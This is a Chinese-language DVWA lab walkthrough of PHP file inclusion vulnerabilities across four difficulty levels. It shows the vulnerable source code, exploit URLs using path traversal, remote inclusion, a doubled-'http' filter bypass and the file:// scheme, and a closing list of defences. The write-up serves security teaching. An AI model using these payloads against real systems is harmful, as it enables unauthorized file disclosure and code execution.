概念:
-
漏洞产生原因:
-
主要是由于开发人员没有对用户输入的文件路径进行严格的过滤和验证。例如,如果一个 Web 应用程序接受用户输入的文件路径,然后使用这个路径进行文件包含,而没有对用户输入进行任何检查,那么攻击者就可以通过构造恶意的文件路径,让程序包含并执行他们指定的文件。
-
-
危害:
-
代码执行:攻击者可以上传一个包含恶意代码的文件,然后通过文件包含漏洞让目标程序执行这个文件中的代码。这可能导致服务器被完全控制,敏感信息被窃取,数据库被篡改等严重后果。
-
敏感信息泄露:如果被包含的文件中包含敏感信息,如数据库连接字符串、密码等,攻击者可以通过文件包含漏洞获取这些敏感信息。
-
权限提升:如果目标程序以高权限运行,攻击者可以利用文件包含漏洞执行恶意代码,从而提升自己在服务器上的权限。
-
环境:php7.0
low
源码分析:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没有做限制:
链接修改访问任意文件夹:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=/tmp
得到文件路径且靶场系统非linux:
之前已经上传了phpinfo(),直接测试本地文件包含:
【绝对路径】
http://[ip]/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\hackable\uploads\phpinfo.php
【相对路径】
http://[ip]/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/phpinfo.php
远程文件包含:
首先确认远程文件是否开启,我们访问dvwa下的php.ini(如果你配置过php环境,则清楚php配置都在该文件见里)
php.ini文件绝对路径:X:\phpStudy\WWW\DVWA\php.ini
构造url:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\php.ini
也可以通过../回退目录构造文件相对路径url
同样的效果,我们得到:
说明远程文件夹是开启。
我们靶机本地执行:http://localhost/dvwa/phpinfo.txt
远程包含:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/dvwa/phpinfo.txt
(这里相当于远程靶机本地执行)
(包含失败的话看下路径,检查下文件路径,默认dvwa文件下)
medium
源码分析:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
//str_replace()函数:替换字符串中的一些字符(区分大小写)
//str_replace(find,replace,string,count)
//find,必须。规定要查找的值
//replace,必须。规定替换find中的值的值
//string,必须。规定被搜索的字符串
//count,可选。一个变量,对替换函数进行计数
//返回值:返回带有替换值的字符串或数组
//如果搜索的字符串是一个数组,那么它将返回一个数组并对数组中的每个元素进行查找和替换
//如果是对一个数组进行查找,单只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
此代码做了过滤,基于low级别的构造相对路径的本地包含和远程包含均失效。绝对路径有效。
原理已知,我们构造url,不断尝试,
- page=httphttp://://127.0.0.1/dvwa/phpinfo.txt可以绕过检测
- 使用绝对路径也是可以执行的:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=X:\phpStudy\WWW\DVWA\phpinfo.txt
high
源码分析:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
//fnmatch("file",$file):该函数检查参数$file是否是以file开头,如果不是则返回false
//如果两个条件都满足:即既不是以 “file” 开头的文件名,也不是 “include.php”,则认为这不是期望的页面,输出 “ERROR: File not found!” 并退出程序。
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
主要做了访问包含条件限制。也就是要在当前页以file*开头。否则报错。
构造url:http://192.168.1.13/dvwa/vulnerabilities/fi/?page=file://X:\phpStudy\WWW\DVWA\phpinfo.txt
impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
限制只允许包含4种文件。
文件包含漏洞防御:文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序中,允许攻击者通过恶意构造的输入包含服务器上的文件。防御这种漏洞可以采取以下几种方法:
1. **输入验证**:
- 严格验证用户输入,确保只接受预定义的安全值。
- 使用白名单,限制可包含的文件。
2. **使用绝对路径**:
- 避免使用相对路径,确保使用绝对路径来引用文件,减少路径遍历攻击的风险。
3. **禁用文件包含功能**:
- 对于不需要文件包含功能的应用,考虑在配置中禁用相关功能(如PHP中的`allow_url_include`)。
4. **最小化文件权限**:
- 限制Web服务器对文件系统的访问权限,仅允许访问必要的目录和文件。
5. **使用安全的编程实践**:
- 遵循安全编码标准,确保代码中不允许任意文件包含。
- 定期审查和测试代码,发现并修复潜在的漏洞。
6. **日志记录和监控**:
- 实施日志记录,监控异常的文件包含请求,及时响应潜在的攻击。
7. **应用程序安全性审计**:
- 定期进行安全审计和渗透测试,发现和修复潜在的文件包含漏洞。
通过以上措施,可以有效降低文件包含漏洞带来的风险,提高应用程序的安全性。